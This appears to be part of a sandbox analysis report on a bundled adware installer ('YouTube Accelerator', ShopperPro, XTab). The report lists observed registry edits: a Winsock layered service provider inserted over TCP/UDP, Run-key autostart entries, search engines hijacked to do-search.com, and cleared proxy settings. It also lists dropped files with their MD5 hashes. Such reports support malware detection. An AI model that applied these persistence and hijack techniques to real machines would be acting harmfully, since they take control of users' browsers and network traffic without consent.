[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dtk]SLXGgt\li@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZir"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "Mfem^RCh}|YQLf_tac[G@sC~Ezsm|"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVxJ[jo|"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:2480 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "Mfem^RCh}|YQLf_tac[G@sC~Ezsm|"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PLJVRQSlx|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dtk]SLXGgt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVxuhdf"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZir"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:3436 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process DCytaiesmt_smtyc_setup.exe:1652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "BF 91 CD E9 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "C1 1F 24 ED E5 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "C1 1F 24 ED E5 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process cscript.exe:3884 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"FLV Player" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\FLV Player\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process cscript.exe:2104 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:2896 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:2612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "67 76 38 79 80 52 0E 61 E9 AE F6 72 93 75 61 4F"

The process XTab_v4.0.exe:888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process taskeng.exe:556 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{34C8FB04-C6F6-4BEB-B889-8DEE38386EE3}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

Dropped PE files

MD5	File path
cc0fb491462a67985d80098814e99d34	c:\Program Files (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-4.exe
36382453abbd9b2a27185b54ce7677ff	c:\Program Files (x86)\App Lid\0e548b74-528b-4597-b8f2-4bc5002d68ce-5.exe
0888846f892bfb3f11afd645b654bc97	c:\Program Files (x86)\App Lid\Uninstall.exe
2eec9e48dee31d22b0aaddd8988853f1	c:\Program Files (x86)\App Lid\utils.exe
40df8d1450ebb91960ed3748493a0b8d	c:\Program Files (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe
df1e8923f9e62d5e8ae70ebfd4620dc2	c:\Program Files (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.sys
40df8d1450ebb91960ed3748493a0b8d	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
df1e8923f9e62d5e8ae70ebfd4620dc2	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
728481d491a072a74f1214890c6e2e3a	c:\Program Files (x86)\ShopperPro\SPRemove.exe
bf60a592babf135364b15661280ddfa7	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
fabcb05173f6776724aa315612403859	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
eab4b4153e9e5757b8e24df93a5e709c	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
51f03437d7e7e2e762f29ecd42ea472d	c:\Program Files (x86)\ShopperPro\Updater.exe
a7998c55467d4884cb509e5c4cfdcfa2	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
fbde6af89f9b351243c3f736a48a0543	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
77590ce0cdeb6bbee8dc056fea0b107c	c:\Program Files (x86)\XTab\CmdShell.exe
c04d8bc933470b3913e4e3e6c3115793	c:\Program Files (x86)\XTab\HPNotify.exe
a330b7929278b18a33e29bd4bb69abc3	c:\Program Files (x86)\XTab\IeWatchDog.dll
b32a88b91e59bfb553a9bebf78a1e567	c:\Program Files (x86)\XTab\ProtectService.exe
fece5b81614bd16ff043051f338183a0	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
852f4db9b269f52c54f37568d703825e	c:\Program Files (x86)\XTab\uninstall.exe
7b538383623b61c01dc8c9db2f27192a	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d	c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
491a07cb037cbead1b465dfbbaa79fc8	c:\Program Files\Common Files\ShopperPro\spbia.exe
71b143caba8afa37949c81e8871f56f2	c:\Program Files\Common Files\ShopperPro\spbici32.dll
c48da91c6ccbcebe9190ab54bc5ab93c	c:\Program Files\Common Files\ShopperPro\spbici64.dll
de0816231c561aad04f79ec99dd7d470	c:\Program Files\Common Files\ShopperPro\spbii32.exe
8e6dc4ce3294ff64ccf6aa39b3a0dec2	c:\Program Files\Common Files\ShopperPro\spbii64.exe
